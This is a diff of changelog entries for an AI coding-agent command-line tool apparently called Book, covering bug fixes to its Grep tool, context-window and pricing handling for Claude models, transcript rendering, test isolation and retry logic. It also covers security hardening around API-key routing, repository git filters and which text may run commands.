+ window, as two separate presses do. Text and Enter that arrive in one read are still a paste, on
283
+ purpose. The stall itself is gone (#516).
284
+ - **A `/goal` session name keeps a leading inline code span** (#449). The name came from the goal
285
+ with one leading backtick stripped, so a goal that began with `npm test` as an inline code span
286
+ lost the span's opening backtick and had its first letter capitalised. The span is kept. A
287
+ leading code fence and its language tag are still dropped, a word after a fence counting as a tag
288
+ only when a newline follows it, as are a trailing closing fence and a fence line in the middle of
289
+ the prompt. A prompt-body command (`/init`, a custom command, a skill) is now named after what you
290
+ typed too, and the plan handoff keeps the planning session's name (#524).
291
+ - **Grep accepts ripgrep inline flags such as `(?i)`, and tool output blocks draw empty lines**
292
+ (#447, #494). Grep compiled the pattern with JavaScript's `RegExp` before choosing a backend, so
293
+ `(?i)HELLO` failed with "Invalid group" although ripgrep takes it. The pattern now goes to
294
+ ripgrep as written. The portable fallback translates a leading `(?i)`, `(?s)` or `(?m)` group
295
+ into `RegExp` flags without repeating one already set, except that in line mode a leading `(?m)`
296
+ or `(?s)` is not made a flag, since it would match `foo\r` on a CRLF file where ripgrep does not.
297
+ Any other inline group, such as `(?x)` or a `(?i)` in mid-pattern, fails with `invalid_regex`
298
+ naming the construct and pointing to `i: true`. When ripgrep exits 2 on a regex parse error Grep
299
+ still falls back to the portable engine, so lookaround keeps working, and if both reject the
300
+ pattern the error includes ripgrep's own; any other exit 2 returns ripgrep's result. A malformed
301
+ pattern now costs one ripgrep spawn before it fails. In the transcript, a tool row's output block
302
+ dropped empty lines: `printf "S1\n\nS2\n\n\nS3\n"` drew three rows. Each line now draws a row of
303
+ at least one line. One definition of a tool output's lines, split on `\n` with the trailing empty
304
+ lines dropped, feeds the drawn rows, the header's line count and the `… +N lines` footers, so
305
+ `X` and its newline reads 1 line and draws 1 row. This supersedes the #480 note that an empty line
306
+ between two others adds no row.
307
+ - **`/model` discovery records an Anthropic endpoint's reported context window** (#416). Discovery
308
+ listed the models but dropped the `max_input_tokens` that `/v1/models` reports, so `/context`
309
+ kept showing the default window until you set one by hand. It is now stored per model as
310
+ `reportedContextWindow` when it is a positive whole number, overwritten on every refresh and
311
+ removed once the endpoint stops reporting it, and `/context` names its source `reported`. The
312
+ order is a hand-set `contextWindow`, then the learned ceiling, then the reported window, then the
313
+ model family, then the default. A separate field, rather than `contextWindow`, so that your value
314
+ always wins and an overflow can still lower a reported window that a proxy or a key tier did not
315
+ honour. A refresh now updates the running session's model information for that provider; the
316
+ selection, effort and `maxTokens` are untouched. Limits: only Anthropic endpoints, with an
317
+ OpenAI-compatible `context_length` ignored and `max_tokens` not recorded. A discovered Haiku 5.5
318
+ now records its 1M window, so long sessions compact later and, past 100k tokens, cost more per
319
+ request; set `contextWindow` to lower it.
320
+ - **At `$HOME`, `book config set` and `/config` no longer report a user-scope write as shadowed by
321
+ the same file** (#449). With `BOOK_HOME` unset, the workspace's `.book/settings.json` is the user
322
+ file, and a user-scope write was reported as shadowed by the project layer. The project layer is
323
+ now skipped when it is the user file, as the loader does; the local layer and a `--settings` file
324
+ are still reported. A home reached through a symlink, with the workspace given by its real path,
325
+ also listed each user skill root a second time as a project root whose skills ask for consent. A
326
+ project root whose real path is a user root's is now folded into that user root. Roots that only
327
+ alias each other, project to project or user to user, are left alone, and a root that does not
328
+ exist is never folded. Trust does not loosen: with `BOOK_HOME` elsewhere, `~/.book/settings.json`
329
+ is still a project layer, and its hooks and `permissions.allow` stay withheld.
330
+ - **A persistent background Bash job gets 10 s to start, and shell ids stay unique across resumes**
331
+ (#495, #449). The detached runner had 3 s to start the job, which a loaded Windows CI runner did
332
+ not always meet (`did not start within 3000ms`); it has 10 s now. A runner that dies early is
333
+ still reported at once, and one that hangs is still killed and forgotten after the budget. The
334
+ wait also ends when the turn is cancelled or the manager is disposed. Separately, `shell_<n>`
335
+ numbering restarted at `shell_1` after `--resume`, `/resume`, `/rewind`, in print mode and in a
336
+ managed agent's follow-up run, so a new job could reuse an id that a transcript row or completion
337
+ notice already named. The counter now starts one past the highest `shell_<n>` in the transcript
338
+ and in the context history (compaction can drop an id from the history while the row keeps it).
339
+ After `/rewind` it continues past the ids the kept transcript still holds, and after `/clear` it
340
+ starts at 1. Persistent `shell_<uuid>` ids and numbers above 1,000,000 are ignored.
341
+ - **A failed command's stdout is named under its stderr, and Ctrl+E reaches the row** (#480). A
342
+ command that failed with output on both streams showed only its stderr tail: an `npm warn` where
343
+ the `FAIL test/a.test.js > expected 1, got 2` that said what broke belonged. The model read both,
344
+ but nothing under the row said the stdout existed, and Ctrl+E skipped the row unless it was the
345
+ latest, because the compact transcript took it to hide nothing. The collapsed detail of a failed
346
+ `Bash` or `Check` now ends with `… +1 line of output (Ctrl+E)`, counting the rows the output
347
+ block then draws for the stdout (only the row Ctrl+E acts on names the key; the others read
348
+ `… +1 line of output`), and the row counts as hiding content, so Ctrl+E picks it even when a
349
+ newer row hides nothing. Pressing it shows the whole stderr and the stdout in the output block,
350
+ and the next press moves up to the next truncated row. The block draws a row for each line that
351
+ is not empty, and Ink gives an empty line no height: the newline real output ends in adds no row
352
+ (a stdout of `hi` and its newline reads `+1 line`), nor does an empty line between two others,
353
+ and a line of spaces is one (`A\n\nB\n \nC\n` reads `+4 lines`, as many as Ctrl+E then draws).
354
+ A stderr tail that cuts lines of its own keeps its footer above the rows and counts the stdout in
355
+ it, one footer and one key: `… +2 lines, +1 line of output (Ctrl+E)`. A stdout with no text in it
356
+ (blank lines, control characters) is not named. A message that is only `Exit code: N` is
357
+ unchanged, since its stdout is the detail, and a row that is open (Ctrl+E, a click, or Ctrl+O's
358
+ detailed transcript) draws the stdout in its output block alone. A `Bash` command whose stderr
359
+ held only whitespace (a bare `echo >&2`) used to report that whitespace as its message, which the
360
+ row skips as blank: it drew no stdout and named none, and Ctrl+E passed over it. It now reports
361
+ `Exit code: N`, as `Check` already did, so its stdout is the detail like that of any command that
362
+ said nothing on stderr. A `BashOutput` read of a shell that failed is a successful read of one
363
+ buffer that holds both streams, so it has no stderr to put a stdout under and is unchanged.
364
+ - **The atomic-write tests no longer fail with `busy` on a loaded machine** (#450). Three of them
365
+ inject one contention and expect the writer to try again, but ran on the real clock against its
366
+ 500ms deadline, so the fsyncs before the first rename could use up the whole budget and the writer
367
+ returned `busy` without a second attempt. They now run on a clock that only the writer's own
368
+ back-off moves; the writer is unchanged, and `busy` once the deadline has passed is still its
369
+ documented result.
370
+ - **A finished compaction is shown only in the transcript.** Its row, `✓ Compact conversation`,
371
+ is now the whole record of a successful compaction: the post-compaction card and the
372
+ `Compacted 100%` bar no longer appear above the input or linger until the next message. A
373
+ compaction warning is kept on that row (`Compact conversation · reduced fidelity`, with the
374
+ warning in one dim line under it), not as a separate row, and stays out of the model's context. A
375
+ resumed session's rows do not carry it. The running bar and the error and skipped cards are
376
+ unchanged; an error or skipped card still stays until the next message.
377
+ - **A failed `Check` reports the way a failed `Bash` does** (#473). A check that exited non-zero
378
+ reported `stderr || stdout`, so a runner that prints its failing assertions on stdout while npm
379
+ warns on stderr lost them: the model never saw them and neither did the transcript. The message is
380
+ now stderr, or `Exit code: N` when stderr is blank, and stdout is always the output, under the
381
+ same 50 KB bound every tool result gets. The read-only-git note reads both streams, and a
382
+ timed-out check keeps both its stdout and its stderr.
383
+ - **The test suites no longer read your `BOOK_*` environment** (#467). A test that expects a
384
+ default (`BOOK_EFFORT` unset, no `BOOK_MAX_TOKENS`) failed whenever the suite ran from inside a
385
+ Book session, or from any shell exporting an override: eight tests in `compact-eval-settings`,
386
+ `edit-eval-settings`, `doctor` and `trust-cmd` saw the session's effort, model or token cap
387
+ instead. Every config (watch mode and a bare `vitest run <file>`, unit, contract, coverage and
388
+ integration) now deletes every inherited `BOOK_*` variable before each test file, in the shared
389
+ `src/test/vitest-setup.ts`, matching the names case-insensitively and keeping only `BOOK_HOME`,
390
+ which the suite leaves as launched, and the telemetry directory that setup pins. A test that sets
391
+ a variable itself is unaffected. The integration tier also keeps your provider's `BOOK_API_KEY`,
392
+ `BOOK_BASE_URL`, `BOOK_PROVIDER`, `BOOK_MODEL` and `BOOK_EFFORT`, which the TUI streaming tests
393
+ pass to their child on purpose (#358). To keep an override while debugging, list it in
394
+ `BOOK_TEST_KEEP_ENV`, for example `BOOK_TEST_KEEP_ENV=BOOK_DEBUG,BOOK_DEBUG_STDERR`.
395
+ - **A git-isolation test no longer times out on Windows or leaves its repository locked** (#453).
396
+ The test that shows a signing read cut off at its buffer is refused (#348) padded `.git/config`
397
+ past the production buffer, so each of the 23 git processes the apply starts parsed all of it:
398
+ 76 s of a 120 s budget on a green Windows run, and a timeout on a slower one, which left the apply
399
+ running in the repository when cleanup tried to remove it (`EBUSY`). The buffer is now a private
400
+ parameter of the git runner (default `DEFAULT_MAX_BUFFER_BYTES`), and the one internal test seam
401
+ takes the size of the signing read's buffer, so on every platform the refusal is proven in
402
+ seconds with a 64 KiB buffer, and a single read through the production runner shows that its own
403
+ buffer refuses an overrun too. One full-size variant, skipped on Windows, shows the apply wires
404
+ that buffer in. Cleanup also retries the removal. Book itself behaves exactly as before.
405
+ - **A restart test no longer counts the first manager's requests as the restarted one's** (#413).
406
+ `children re-driven after a restart` flaked with `expected 1 to be +0` under the full integration
407
+ tier: its helper counted a request the first manager's child made late as a re-run. The helper
408
+ now counts only the restarted manager's requests. Test-only.
409
+ - **A memory file is named by what reads it best.** The `Read` row of a memory file now shows
410
+ `memory/<file>` like the `Write`/`Edit` rows, instead of the long absolute path, and a message
411
+ about a memory file (`file_not_observed`, a stale read, `Created …`, an `ApplyPatch` diff header)
412
+ names its absolute path instead of `../home/.book/…`. A workspace file keeps its relative path.
413
+ A row that is still running, waiting on a permission prompt, or failed (`file_not_observed`) also
414
+ reads `memory/<file>`: the TUI now knows the memory directory, so a `Read`, `Write`, `Edit`,
415
+ `MultiEdit` or `NotebookEdit` row no longer falls back to the long absolute path before a result
416
+ names the file.
417
+ The permission sheet for a `Write`, `Edit`, `MultiEdit` or `ApplyPatch` of a memory file now
418
+ previews the change, naming the file `memory/<file>`, instead of
419
+ `Cannot preview: Path outside workspace`. The preview resolves the path with the file tools' own write rules, so it still
420
+ refuses what they refuse (a non-`.md` file, a dot-entry, a link or a `..` escape).
421
+ - **A short quiet-run summary row shows all its metadata** (#469). `Read a.js` with
422
+ `1 file · 1 search · 1 listing` was cut at the 20-column meta column; the summary row's metadata
423
+ now takes the columns its target leaves free, and a long target keeps its priority.
424
+ - **Ctrl+E expands the newest truncated tool row, and only that row's footer names the key**
425
+ (#470). In the compact transcript every cut diff, output and failed-command footer read
426
+ `(Ctrl+E)`, but the key expanded the latest row, so a 150-line `Write` followed by a capped `Edit`
427
+ advertised the key on the `Write` and a second press changed nothing. Ctrl+E now expands the
428
+ running tool while a turn is in progress, else the row you clicked while it is still cut, else the
429
+ newest row on screen whose preview hides lines; each press moves up to the next truncated row, and only that row's footer shows
430
+ `(Ctrl+E)` (the others read `… +140 lines`). The detailed transcript is unchanged: Ctrl+E shows
431
+ everything and every footer names it.
432
+ - **A failed command's whole error is reachable, and `Check` and `BashOutput` rows show their exit
433
+ code** (#470). The detail under a failed command's row kept its last four lines under a dimmed
434
+ `… +N lines`, and no key showed the rest: Ctrl+E ignored it, in compact mode and after Ctrl+O. The
435
+ hint now reads `… +N lines (Ctrl+E)`, and expanding the row (Ctrl+E, or Ctrl+O then Ctrl+E) shows
436
+ every line of the output, up to the last 2000 rows (a longer output says how many lines it cut,
437
+ naming no key); a line wider than the row continues on the rows after it instead of being cut.
438
+ The error folds back to its tail when the row is collapsed again, a command that printed only to
439
+ stdout shows that stdout once, and a failure whose stderr is hidden can be expanded by a click.
440
+ A prose failure wraps past two rows when expanded. A failed
441
+ `Check` now records its exit code, so its row reads `failed · exit 3` like a `Bash` row does (a
442
+ timed-out check is not a failing check and has none). A `BashOutput` row for a background shell
443
+ that finished with a non-zero exit shows `exit N`; the read still counts as a success, but it no
444
+ longer folds into the quiet-run summary, so the `exit N` stays on its own row.
445
+ - **A failed Bash call's error detail keeps its last lines and its exit code** (#457). The detail
446
+ under the tool row folded stderr into one paragraph, kept its start, and stopped after two rows,
447
+ so a failing test run showed its first assertion and never its verdict. A failed command's
448
+ output (a result that carries an exit code) now shows one row per non-blank line, the last four,
449
+ behind a dimmed `… +N lines` row for the rest, and the row's metadata reads
450
+ `failed · exit 1 · 7ms`. Many test runners print the verdict on stdout and leave stderr empty;
451
+ for those the detail shows the tail of stdout, and a command with no output shows no detail rows.
452
+ Book's own sandbox note stays readable after the tail, in up to two rows. Any other failure (an
453
+ MCP error, a validation message) wraps as before, first line first. What the model reads is
454
+ unchanged.
455
+ - **Reasoning no longer breaks the compact transcript's quiet-run summary** (#455). A model that
456
+ thought before every read (an inline `<think>` part or provider-native reasoning) drew a
457
+ `▸ thought` row and a tool row per call instead of one `✓ Read a.js, b.js, c.js` summary. Only
458
+ prose between calls ends a run now, and a thought that leads to read-only calls is absorbed into
459
+ the run's summary row. A thought before an edit, a command, a call awaiting permission or a
460
+ failure, and the thought of a step that speaks, stays visible; the detailed transcript (Ctrl+O)
461
+ still shows every thought.
462
+ - **Claude 4.6 and later get their 1M context window** (#416). Every Claude model resolved to a
463
+ 200,000-token window, so Book compacted at about a fifth of what Opus 4.6–4.8, Sonnet 4.6, and
464
+ every 5.x model (Opus, Sonnet, Haiku, Fable, Mythos) accept. These now resolve to 1,000,000,
465
+ matching `max_input_tokens` from Anthropic's `/v1/models`; Haiku 4.5, the 4.5 models, and older
466
+ stay at 200,000. The window follows the model name on any route, so a router that caps a Claude
467
+ model lower is learned from its first overflow refusal, or can be declared with `contextWindow`.
468
+ A long Haiku 5.5 session now runs past 100,000 prompt tokens, where its per-token price is 5x.
469
+ - **`/model` lists the current Claude models, and Haiku 5.5 takes an effort level.** The picker
470
+ gained Claude Opus 5.5, Sonnet 5.5, Haiku 5.5 and Fable 5.1. Haiku 5.5 was missing from the
471
+ Anthropic provider's adaptive-thinking models, so a request to it carried neither `thinking` nor
472
+ `output_config.effort` and ran at the model's own `medium` whatever effort was set; it now gets
473
+ both, as the other 5.x models do.
474
+ - **Claude Haiku 5.5, Opus 4.5 and Sonnet 4.5 are priced, and Sonnet 5.5 cache reads cost what
475
+ Anthropic charges** (#415). The price table had no rate for the first three, so
476
+ `--max-budget-usd` refused every run on them and `/cost` showed no dollar figure. Sonnet 5.5's
477
+ cache reads counted at twice the published rate, which overstated `/cost` and stopped budgeted
478
+ runs early. Haiku 5.5 charges more for a request whose prompt is over 100,000 tokens: Book now
479
+ prices each request at its own rate, and where only a summed total is known (a delegated agent,
480
+ or spend carried over from an earlier run) it uses the higher rate as an upper bound. `/cost` and
481
+ `/usage` say when a delegated agent's figure is one; a carried budget does not, so a restarted
482
+ Haiku 5.5 run can stop short of its cap.
483
+ - **A bare `advisorModel` no longer sends your key to another vendor** (#419). An id that names
484
+ no configured provider, such as `claude`, went to the default endpoint
485
+ (`https://api.openai.com/v1`) with a key meant for another one: the key of the provider the
486
+ session used, or `BOOK_API_KEY` when the main model was on a provider of its own, so an
487
+ Anthropic key reached OpenAI on every consultation, and the 401 that came back was marked
488
+ retryable. The advisor now fails closed. An id that is not `<provider>/<model>` for a configured
489
+ provider is refused, with nothing sent (`advisor_unconfigured`, not retryable, suggesting
490
+ `/advisor <provider>/<model>`), unless it is the main model, `BOOK_BASE_URL` is set (the legacy
491
+ `.bookrc.json` `baseUrl` does not count: a repository can ship it), or it resolves to exactly
492
+ the endpoint and key the session already uses. An id that starts or ends with `/` is refused
493
+ whatever the base URL, and a stored one fails the consult as `advisor_unconfigured` instead of
494
+ throwing. `/advisor <id>` reports the same refusal and saves nothing; with a provider prefix
495
+ that matches no configured provider (`antropic/x`) it saves the id and warns, as the main model
496
+ does, and `/advisor` alone marks a stored id that every consult would refuse. A key inherited
497
+ from configuration also goes only to the endpoint it was configured for, on every model switch
498
+ and not just the advisor's; any other endpoint gets `BOOK_API_KEY` or no key. Endpoints are
499
+ compared after normalisation (a trailing slash, or the case of the scheme and host, does not
500
+ make a different one), and a provider name is looked up as an own key, so `constructor/x`
501
+ names no provider. A failure a repeat would only reproduce is no longer retryable: a rejected
502
+ key or account (auth, quota), a retired or misspelled model (`model_unavailable`), a transcript
503
+ too long for the advisor's window (`context_overflow`), and any verdict on the request itself
504
+ (400, 404, 422, `invalid_request_error`, a content filter). Rate limits, overload, server errors,
505
+ network errors and timeouts stay retryable.
506
+ - **The transcript's brightest lines are the answer again, not the agent's bookkeeping.** A sentence
507
+ whose only call updated the plan (TodoWrite) was read as an answer even when the agent went on
508
+ working, so `I'll clone, install, and launch that repo` sat in full ink between grey steps. A
509
+ message that more work follows in the same turn is now drawn as a step, unless it hands the turn
510
+ back to you (a question, plan approval, a memory save). Turns end at notifications too.
511
+ - **The headless test suites no longer write run records into your own `~/.book`** (#421). Five
512
+ suites drove print mode against the real `BOOK_HOME` and left a `runs/<session-id>.json` behind
513
+ for every test session. Each now runs under a temporary `BOOK_HOME`, and a guard test fails any
514
+ suite that drives print mode or the SDK without pinning one.
515
+ - **A tool call the registry refused before it ran no longer draws a rose row.** An unknown tool
516
+ name, or arguments that did not parse or fit the schema, is the model's slip, and it usually
517
+ resends the call corrected. Its `×`, target and message are grey; a command that ran and failed
518
+ stays rose, since a non-zero exit is the transcript's only record of a red test run.
519
+ - **Run records are pruned** (#422). `<BOOK_HOME>/runs/` kept a record for every session ever run.
520
+ Startup now deletes the records not written in 30 days, the retention sessions and debug logs
521
+ already follow. Every CLI and SDK start sweeps it, whatever the session settings, and a record
522
+ whose run is still alive is kept.
523
+ - **A failure's message is no longer cut to the metadata column.** It was truncated to 64 columns
524
+ at the right edge of the row, as in
525
+ `Invalid arguments for TodoWrite: arguments.todos is required. A…`, which lost the part that
526
+ said what was wrong. It is now set under the row, wrapped to up to two lines.
527
+ - **`AgentWait` with a long `timeoutMs` returns the agent's status instead of timing out** (#423).
528
+ The wait ran under the registry's default 120-second tool deadline, so any `timeoutMs` of 120000
529
+ or more ended as a `tool_timeout` with no status in it. The wait is now the tool's own deadline,
530
+ bounded by the ceiling that `BashOutput`'s `wait_ms` has (`BOOK_TOOL_TIMEOUT_MS` where set,
531
+ 600000 ms otherwise): a longer request is refused with that limit, and an omitted `timeoutMs`
532
+ waits until the agent finishes, up to it. A cancelled or disposed wait now clears its timer, so a
533
+ cancelled open-ended wait no longer keeps the process alive.
534
+ - **A TodoWrite row is marked with where the plan stands, not a check.** The row
535
+ `✓ Steps Clone the repo 0 of 3 done` read as a finished step; it now takes the Steps sheet's
536
+ marks: `◌` set out, `◔` under way, `✓` finished.
537
+ - **A provider error with an empty body says so** (#424). A 404 with no body read just
538
+ `API Error: 404`; it now names the host and the model the request was for, says
539
+ `(empty response body)`, and suggests checking the base URL and model id. A provider message
540
+ that already ends in a period no longer gets a second one (`…/account/api-keys..`).
541
+ - **A tool call written with a dotted namespace runs.** `default.Bash` answered "Unknown tool" and
542
+ the model spent a turn on a ToolSearch for a tool it already had. `parent.`, `default.`, `tool.`
543
+ and OpenAI's `functions.` now unwrap the way `default:` always did, and the transcript shows the
544
+ call as the tool it ran as. The list stays explicit, so `pnpm.list` is still unknown.
545
+
546
+ - **A background shell's completion notice names the job** (#425). A command retried under the
547
+ same title finished as two identical notices, which read as one job announced twice; a titled
548
+ job's notice now carries its id after the title, as in `Install Spotify flatpak` (shell_2).
549
+ - **Repository-local filters and merge drivers are disabled for Book's git calls, and lazy fetch is refused in git isolation** (#357).
550
+ A repository's own `.git/config` (or a file it includes) can no longer execute programs through
551
+ `filter.<name>.clean`, `filter.<name>.smudge`, `filter.<name>.process`, or `merge.<name>.driver`
552
+ during Book's git operations — repository-scope definitions are pinned to the operator's value when
553
+ the operator defines the same filter or driver, and to empty otherwise (with
554
+ `filter.<name>.required=false`), across git isolation, the read-only Git tools, `/review`, and the
555
+ status poll. If any repository-scope filter or merge driver name contains `=`, Book cannot
556
+ neutralize it and fails closed, refusing to run git calls there. Operator-configured filters and
557
+ merge drivers (such as from `~/.gitconfig` or system config) continue to run, so global git-lfs
558
+ remains functional. In git isolation, lazy object fetching in partial clones is refused
559
+ (`GIT_NO_LAZY_FETCH=1`, `GIT_ALLOW_PROTOCOL=`) to prevent unprompted execution of repository
560
+ transports (`core.sshCommand`, `credential.helper`), failing cleanly with an explanation on how to
561
+ fetch missing objects manually. Git's built-in `core.fsmonitor=true` daemon is honoured for the
562
+ read-only Git tools, `/review`, and the status poll, while git isolation keeps
563
+ `core.fsmonitor=false` to avoid leaving daemons behind in temporary worktrees; custom hook paths
564
+ remain disabled.
565
+ - **Grep takes `-i`, and accepts `-n`** (#426). Claude Code's `-i` (or `i`) now searches
566
+ case-insensitively, with ripgrep and with the built-in fallback, and `-n` is accepted and
567
+ ignored, since results always carry line numbers. Both were refused as unknown arguments, which
568
+ cost the model a turn to resend the call.
569
+ - **A router-wrapped or direct 429 for a spent plan usage limit no longer burns the retry budget**
570
+ (#400). A router-wrapped 429 that says a plan's weekly, daily, monthly, or N-hour usage limit is
571
+ spent was treated as a transient rate limit: Book waited the router's cooldown hint up to
572
+ `retry.maxDelayMs` on every attempt, then re-issued the turn and repeated the cycle for ~14
573
+ minutes and ~33 requests before claiming a temporary capacity issue for a limit resetting days
574
+ later. An effective 429 whose message states a usage, plan, quota, or subscription limit over a
575
+ long window was reached, exceeded, or spent now classifies as `usage_limit`: without
576
+ `retry.watchdog`, `fetchWithRetry` answers with a single request and the run ends
577
+ `quota_exhausted`, a park (#409). A 429 carrying OpenAI's `insufficient_quota` code is answered
578
+ once the same way but is about credits, so it classifies as `quota` and parks like a 402
579
+ (`credentials_rejected`). The formatted error names the stated reset time and remedy without
580
+ temporary capacity advice, while `insufficient_quota` keeps the credits advice. A short window
581
+ anywhere in the message keeps the error a rate limit. Under `retry.watchdog`, spent-limit 429s
582
+ are still retried. On any retryable
583
+ 429, an absolute `resets at <time>` within reach is waited for, up to `retry.maxDelayMs` per
584
+ attempt; a reset that falls beyond what the remaining attempts and retry budget can wait halts
585
+ retries immediately.
586
+ - **Tool telemetry records the session a call ran in** (#427). The `session` field of
587
+ `tool-use.jsonl` holds the run's trace id, so `book tool-stats` counted every run as a session.
588
+ Records now carry `sessionId` too, and the session count uses it; older records still count by
589
+ trace.
590
+ - **Scrolling a long transcript no longer draws rows outside the viewport** (#353). The virtual
591
+ transcript mounts about one viewport of rows above and below the view as overscan, and Ink's
592
+ render walk visited every mounted node every frame: measuring `widestLine`, wrapping text, and
593
+ recording writes that `Output.get` discarded because they lay outside the clip. A profile of a
594
+ heavy session put that walk at 26% of the TUI's busy CPU while scrolling, with 54% of the
595
+ remaining offscreen writes coming from rows that straddled viewport edges (such as long diffs or
596
+ command output). `src/cli/` now installs `ink-render-cull.ts`, which tracks the walk's clip stack
597
+ and gives mounted transcript rows — and children of rows that straddle a viewport edge — an own
598
+ `getDisplay` reporting `DISPLAY_NONE` whenever a node's box lies wholly outside the innermost
599
+ vertical clip. Absolute tops are memoized per frame to avoid redundant ancestor traversals across
600
+ siblings. Yoga layout is untouched — Yoga reads display from its native style rather than the
601
+ JavaScript method — so layout positions are preserved while Ink skips the subtree walk entirely.
602
+ Set `BOOK_INK_RENDER_CULL=off` to restore the previous behavior. At very narrow widths a tool
603
+ summary row now truncates instead of wrapping onto the row below it. **Measured** on the shipped
604
+ code: every real frame was drawn twice in the same process, once with the cull and once without
605
+ it, from the same layout: 0 mismatches over 514 frames (Windows 248, Linux 266), and colour
606
+ screenshots are byte-identical with the cull on, off, and on main. The cull removes 68% (Windows)
607
+ and 66% (Linux) of the walk's writes (before it, 73% of the writes the walk made landed wholly
608
+ outside the clip; with it, 14% (Windows) and 20% (Linux)). Draw time fell from 475 ms to 303 ms
609
+ over wheel-up and 365 ms to 211 ms over wheel-down on Linux, and from 483 ms to 361 ms over wheel-up
610
+ and 355 ms to 200 ms over wheel-down on Windows. On Linux, stalls over 40 ms during wheel-up fell
611
+ from 1.5 to 0.3 per run (summed 66 ms to 15 ms), and the worst stall per run from 45 ms to 37 ms at
612
+ the median. Under load on Windows, stalls over 40 ms during wheel-up fell from 3.6 to 0.9 per run
613
+ (summed 182 ms to 40 ms), and the worst stall per run from 56 ms to 42 ms at the median. On a quiet
614
+ Windows box, stalls over 40 ms did not move (about one per run in either build): what remains there
615
+ is the React mount and Yoga layout of newly mounted heavy rows, which the cull does not touch.
616
+ - **A session nothing was sent in is no longer offered back** (#428). Opening Book and leaving
617
+ without a prompt left an empty session behind, which `--continue` and `book status` then picked
618
+ as the most recent here, and which `/resume` listed. All three now skip sessions with no
619
+ messages. `book status` also counts a session that has a run record, so a live print-mode run
620
+ of host-performed commands only (such as `/review`) is still the one it reports. The empty
621
+ session file itself is still left behind.
622
+ - **A model the provider no longer serves is no longer reported as a rejected credential** (#387).
623
+ 9router wraps an upstream 403 in its own 503 (`[route] [403]: Model is no longer available`),
624
+ which `classifyApiError` read through the quoted status as `auth` — so the run parked as
625
+ `credentials_rejected` and the message told the user to check `BOOK_API_KEY` for a key that was
626
+ fine. A plain 403 with the same retirement wording read the same way. A 403 or 404 whose body says
627
+ the model itself is gone — a retirement notice, a "please select another model", an OpenAI
628
+ `model_not_found` code, Anthropic's 404 `not_found_error` naming `model:`, or the upstream message
629
+ OpenRouter forwards in `metadata.raw` — now classifies as `model_unavailable`: the message keeps
630
+ the upstream detail, gives no API-key advice, and points at `--model` or `/model`. The read stays
631
+ tight: a 401 is always `auth` whatever its body says, a 403 "Invalid API key provided" or
632
+ "Forbidden" and a 404 "Not Found" keep their old readings, and the #383 capacity outage (a quoted
633
+ 404 "No endpoints found" with a `(reset after …)` cooldown) is still a retryable `server_error`.
634
+ - **A session started in your home directory reads `~/.book/settings.json` once** (#429). There
635
+ the user file is also the workspace's `.book/settings.json`, so it loaded a second time as the
636
+ repository's layer: its rules accumulated twice, and its hooks, allow rules and directories were
637
+ withheld as repository declarations awaiting `book trust`, then registered twice once approved.
638
+ The project layer is now skipped when it is the user file, in the loader, the withheld-declaration
639
+ notices, `book trust` and `book doctor`, and a skill found under both roots is listed once, as
640
+ yours.
641
+ - **The delegation latency test re-measures a failing verdict before it fails the run** (#390). The
642
+ Windows CI legs sometimes go through a few seconds in which every delegation cycle costs 0.6-3.9s while
643
+ the probe beside it and the child's own timer stay normal, and a re-run of the same commit measures
644
+ 47-92ms. On those legs a failing round is now measured again, up to three rounds 3s apart within a 60s
645
+ budget: a round that passes decides the run, and with no passing round any failed round fails it, so a
646
+ regression still fails. Every other platform still decides on one round. Each printed sample also says
647
+ where its time went: before the child started, or after it finished.
648
+ - **`~/.claude/CLAUDE.md` is injected once for a workspace under your home directory** (#430).
649
+ The instruction walk passes through your home directory, where it found the file a second time
650
+ as a project-level `.claude/CLAUDE.md`. Instruction files are now deduplicated by real path (the
651
+ link followed, and on Windows the drive-letter case as stored), and the first, user-scoped entry
652
+ is kept. That also loads `BOOK_HOME/AGENTS.md` once, as yours, when the workspace lies inside
653
+ `BOOK_HOME`, and counts a home reached through a symlink once, with the workspace given by its
654
+ real path. A `CLAUDE.md` linked to the `AGENTS.md` beside it loads once, and one linked to
655
+ `CLAUDE.local.md` loads that file once, last and as local (#524).
656
+ - **The agent store no longer logs spurious write retry events for first-try writes** (#402).
657
+ Atomic JSON writes incremented an attempt counter across both lock and rename steps, returning
658
+ two attempts on clean writes and causing the agent store to log a retry event on every success.
659
+ Attempts now count the initial write plus only contended retries, a stale-lock reclaim is not
660
+ counted as a retry, and the store logs retry events only when a write actually retried.
661
+ - **A session started with `/goal` is named after its condition** (#431). The TUI named it after
662
+ the first transcript line, `Goal set: <condition>`, and print mode after the kickoff prompt Book
663
+ sends for the goal.
664
+
665
+ ### Changed
666
+
667
+ - **Book's git reads leave out changes inside submodules and never fetch in a partial clone.**
668
+ - **Submodules:** `GitStatus`, `GitDiff`, `/diff`, `/review` and agent isolation show a moved
669
+ submodule as its two commits, but not edits inside it. `GitStatus`'s description says so, so
670
+ the system prompt is now v6, and the first request after upgrading misses the cache.
671
+ - **Partial clones:** no Book git read fetches; a read that needs a missing object fails with a
672
+ note on how to fetch. The prompt's git line and the TUI status line show only the branch.
673
+ - **`/diff`** uses `GitDiff`'s flags. Your own `Bash` `git` is unchanged.
674
+
675
+ - **Only text you type runs a `!` line or invokes a skill by `$name`.** Expanded text (a command's
676
+ body, the review guidance `/security-review` reads from `REVIEW.md`, a file inlined by a
677
+ mention, a delegated task) no longer counts as typed: its `!` lines stay as text, and a `$name`
678
+ in it invokes nothing. So a `!` line in your own command's body no longer runs in the TUI (it
679
+ never ran in print mode), and `` !`cmd` `` substitution is unchanged. `/security-review` expands
680
+ `REVIEW.md` like a project command's body. A `$` right after `/`, `\`, `@` or `.` is not a skill
681
+ name, and a `$name` sent to a managed agent no longer invokes a skill. `/rewind` puts back only
682
+ what you typed: a command's line, never its body; a turn it can't show you typed (a print-mode
683
+ turn, a plan handoff, a session saved before this change) leaves the composer as it is.
684
+ - **The transcript is set as Claude Code-style items.** Every item of a turn opens on one mark in
685
+ the margin, `●`, whose colour carries its state: green done, rose failed, amber waiting for your
686
+ approval or skipped, grey for a folded run of reads or a call Book refused before it ran, and
687
+ blinking while it runs. No row carries a check or a cross any more.
688
+ - A call is headed `Name(argument)` (`Bash(npm test)`, `Read(src/config.ts)`; a search is a
689
+ `Search`, an edit an `Update`, a new file a `Write`), and its result hangs under it after `⎿`
690
+ in words, with no timings on a finished row: `Read 40 lines`, `Found 67 matches`,
691
+ `Added 1 line, removed 1 line`, `Wrote 5 lines`. A command shows its first line of output, then
692
+ `… +N lines`.
693
+ - A failure opens on `Error: exit N` or on its message. Only the mark and the `Error:` label take
694
+ the rose; the message and the output's tail keep the result's grey.
695
